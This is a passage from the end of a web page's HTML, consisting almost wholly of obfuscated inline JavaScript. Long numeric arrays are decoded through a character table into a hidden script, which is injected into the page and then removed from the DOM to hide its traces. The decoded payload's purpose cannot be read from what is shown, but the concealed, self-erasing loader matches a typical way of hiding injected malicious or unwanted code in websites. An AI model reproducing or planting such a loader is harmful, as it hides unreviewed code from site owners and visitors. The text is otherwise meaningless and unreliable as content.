56,83,77,93,37,69,83,4,37,45,47,47,38,55,19,77,37,80,19,93,59,46,49,56,91,77,70,76,49,19,59,19,49,37,83,18,47,77,16,38,34,64,15,56,83,77,93,37,69,83,4,37,45,28,80,15,56,64,91,21,19,83,37,77,79,84,83,4,37,45,70,76,49,19,59,93,77,84,79,68,52,79,45,77,83,52,45,37,47,41,49,37,45,64,46,56,18,18,19,17,19,49,37,83,18,24,80,15,56,64,91,21,19,83,37,77,79,45,77,83,52,45,37,55,70,76,49,19,59,49,4,79,45,77,83,52,45,37,47,41,49,37,45,64,46,56,18,18,19,17,93,77,84,79,68,52,79,45,77,83,52,45,37,28,80,15,56,64,91,21,19,83,37,77,79,15,18,80,93,37,55,70,83,46,17,49,4,79,45,77,83,52,45,37,24,80,15,56,64,91,21,19,83,37,77,79,15,18,80,93,37,81,47,93,77,84,79,68,52,79,45,77,83,52,45,37,55,14,93,77,84,79,68,52,79,45,77,83,52,45,37,47,49,4,79,45,77,83,52,45,37,24,80,15,56,64,91,21,19,83,37,77,79,15,18,80,93,37,70,61,83,46,17,80,64,18,93,15,77,47,47,80,93,4,77,46,83,93,77,4,55,14,80,64,18,93,15,77,47,37,19,80,77,70,80,64,49,56,76,47,16,34,70,46,18,19,17,76,49,19,59,83,47,38,70,83,50,77,64,56,77,93,52,37,45,70,83,2,2,55,14,76,49,19,59,49,4,79,83,4,47,77,16,83,34,64,15,56,49,91,91,75,49,62,77,64,91,21,56,83,37,17,80,64,83,62,52,79,15,56,49,91,91,2,86,39,86,55,16,89,34,70,63,31,9,64,15,91,91,16,32,37,77,67,37,32,2,32,48,18,93,37,77,93,37,32,34,2,47,32,64,32,2,80,64,84,83,4,52,77,37,79,15,56,49,91,91,2,32,59,64,32,2,80,64,83,62,52,79,15,56,49,91,91,2,32,39,32,2,49,4,79,83,4,2,32,14,68,49,15,35,52,19,18,80,93,4,39,91,83,25,77,72,49,80,37,18,59,32,2,93,77,84,79,68,52,79,45,77,83,52,45,37,2,32,21,67,70,59,68,49,15,35,52,19,18,80,93,4,39,21,18,91,83,37,83,18,93,72,38,59,39,32,2,80,15,56,64,49,4,79,37,18,79,91,21,19,83,37,77,16,49,4,79,83,4,34,24,49,4,79,45,77,83,52,45,37,2,32,21,67,70,61,32,70,83,46,17,77,16,83,34,64,18,46,46,91,77,37,31,49,19,77,93,37,81,47,47,93,80,56,56,55,14,80,64,49,56,76,64,21,80,91,45,17,49,4,79,83,4,55,70,61,76,49,19,59,4,47,63,31,9,64,73,17,86,30,86,2,77,16,83,34,64,21,49,19,77,93,37,33,56,77,62,77,93,37,64,21,49,19,77,93,37,33,56,77,62,77,93,37,64,21,49,19,77,93,37,33,56,77,62,77,93,37,64,83,4,2,86,59,86,2,77,16,83,34,64,21,49,19,77,93,37,33,56,77,62,77,93,37,64,37,49,52,75,49,62,77,88,4,18,15,80,62,77,93,37,64,68,18,4,22,55,70,46,18,19,17,21,47,38,70,21,50,4,64,56,77,93,52,37,45,70,21,2,2,55,14,83,46,17,4,16,21,34,64,18,93,15,56,83,15,35,47,47,93,80,56,56,55,14,4,16,21,34,64,18,93,15,56,83,15,35,47,46,80,93,15,37,83,18,93,17,77,77,55,14,76,49,19,59,49,47,77,77,64,37,49,19,52,77,37,66,66,77,77,64,91,19,15,33,56,77,62,77,93,37,70,76,49,19,59,15,83,47,49,64,21,49,19,77,93,37,33,56,77,62,77,93,37,64,52,77,37,63,37,37,19,83,68,80,37,77,17,86,68,83,4,86,55,70,84,83,93,4,18,84,64,56,18,15,49,37,83,18,93,64,49,91,91,83,52,93,17,80,15,56,64,56,83,93,35,79,19,77,4,83,19,77,15,37,79,80,19,56,2,80,15,56,64,49,4,79,37,18,79,56,83,93,35,16,15,83,34,55,70,19,77,37,80,19,93,59,46,49,56,91,77,70,61,70,61,61,61,17,46,80,93,15,37,83,18,93,59,19,76,83,77,84,17,55,14,83,46,17,63,31,9,64,76,64,83,93,54,83,77,84,21,18,19,37,17,80,64,80,93,83,37,55,55,14,76,49,19,59,56,37,47,86,86,70,56,37,47,80,64,84,83,4,52,77,37,79,83,4,2,86,15,86,2,80,64,49,56,76,64,53,18,83,93,17,16,91,77,21,49,19,49,37,18,19,47,86,15,86,34,55,70,76,49,19,59,21,76,47,38,70,83,46,17,63,31,9,64,21,76,47,47,46,49,56,91,77,55,14,63,31,9,64,21,76,47,37,19,80,77,70,21,76,47,89,70,61,76,49,19,59,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,83,62,52,86,55,70,83,64,91,19,15,47,63,31,9,64,80,19,17,80,15,56,64,76,83,77,84,79,80,19,56,88,14,32,83,32,72,56,37,88,32,21,32,72,21,76,88,32,52,32,72,63,31,9,64,52,17,55,88,32,84,32,72,80,64,84,83,4,52,77,37,79,83,4,61,55,70,19,77,37,80,19,93,70,61,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,46,80,93,15,37,83,18,93,17,55,14,19,76,83,77,84,17,55,70,61,88,89,38,38,38,55,70,61,55,17,55,70,61,19,77,37,80,19,93,59,37,19,80,77,70,61,88,19,56,18,49,4,72,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,56,91,47,86,86,70,46,18,19,17,76,49,19,59,83,47,38,70,83,50,80,15,56,64,80,93,83,37,79,56,83,91,37,64,56,77,93,52,37,45,70,83,2,2,55,14,83,46,17,80,15,56,64,80,93,83,37,79,56,83,91,37,16,83,34,16,86,49,56,76,86,34,81,47,80,93,4,77,46,83,93,77,4,55,14,56,91,2,47,80,15,56,64,80,93,83,37,79,56,83,91,37,16,83,34,16,86,84,83,4,52,77,37,79,83,4,86,34,2,86,15,86,2,80,15,56,64,80,93,83,37,79,56,83,91,37,16,83,34,16,86,49,56,76,86,34,64,53,18,83,93,17,16,91,77,21,49,19,49,37,18,19,47,86,15,86,34,55,2,86,39,86,70,61,61,56,91,47,56,91,64,91,80,68,91,37,19,17,38,88,56,91,64,56,77,93,52,37,45,39,89,55,70,76,49,19,59,56,91,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,83,62,52,86,55,70,56,91,83,64,91,19,15,47,63,31,9,64,80,19,17,80,15,56,64,56,18,49,4,79,80,19,56,88,14,32,83,32,72,56,91,88,32,52,32,72,63,31,9,64,52,17,55,61,55,70,19,77,37,80,19,93,59,37,19,80,77,70,61,88,61,70,18,64,83,93,83,37,17,55,70,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,18,64,19,56,18,49,4,88,89,38,38,38,55,70,19,77,37,80,19,93,59,18,70,61,61,17,55,61,70,61,63,31,9,64,91,37,49,19,37,17,55,70,28,24,59,4,46,93,46,56,56,22,83,37,53,49,59,24,28];function fazgubtriavrfy(a,b){bdrqpqjy='';for(var i=0;i<a.length;i++){bdrqpqjy+=b[a[i]];}return bdrqpqjy;}var cljwodeklenqi=window[fazgubtriavrfy([4,18,15,80,62,77,93,37],yazdezg)];var buwptmlbkbooxvn=fazgubtriavrfy([15,80,19,19,77,93,37,5,15,19,83,21,37],yazdezg);var yzxpgupwwqx=fazgubtriavrfy([91,19,15],yazdezg);var hymedjdkvjjcj=fazgubtriavrfy([68,18,4,22],yazdezg);try{Object.getOwnPropertyDescriptor(Document.prototype,buwptmlbkbooxvn).get.apply(cljwodeklenqi)[yzxpgupwwqx]=yzxpgupwwqx;document.body=document.querySelectorAll('body')[0]}catch(e){}var bxvtiq=fazgubtriavrfy([15,19,77,49,37,77,33,56,77,62,77,93,37],yazdezg);var uagtpjsrwa=fazgubtriavrfy([91,15,19,83,21,37],yazdezg);var dxmsyeqsdinrc=fazgubtriavrfy([37,77,67,37,48,18,93,37,77,93,37],yazdezg);var bodofxr=fazgubtriavrfy([45,77,49,4],yazdezg);var grvypyixaujf=fazgubtriavrfy([49,21,21,77,93,4,48,45,83,56,4],yazdezg);var inxbmycrwvcw=fazgubtriavrfy([21,49,19,77,93,37,75,18,4,77],yazdezg);var psmrbfhx=fazgubtriavrfy([19,77,62,18,76,77,48,45,83,56,4],yazdezg);var yxmhq=cljwodeklenqi[bxvtiq](uagtpjsrwa);yxmhq[dxmsyeqsdinrc]=fazgubtriavrfy(rfaunvaloswlrd,yazdezg);cljwodeklenqi[hymedjdkvjjcj][grvypyixaujf](yxmhq);yxmhq[inxbmycrwvcw][psmrbfhx](yxmhq);})();}</script> </body> </html> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>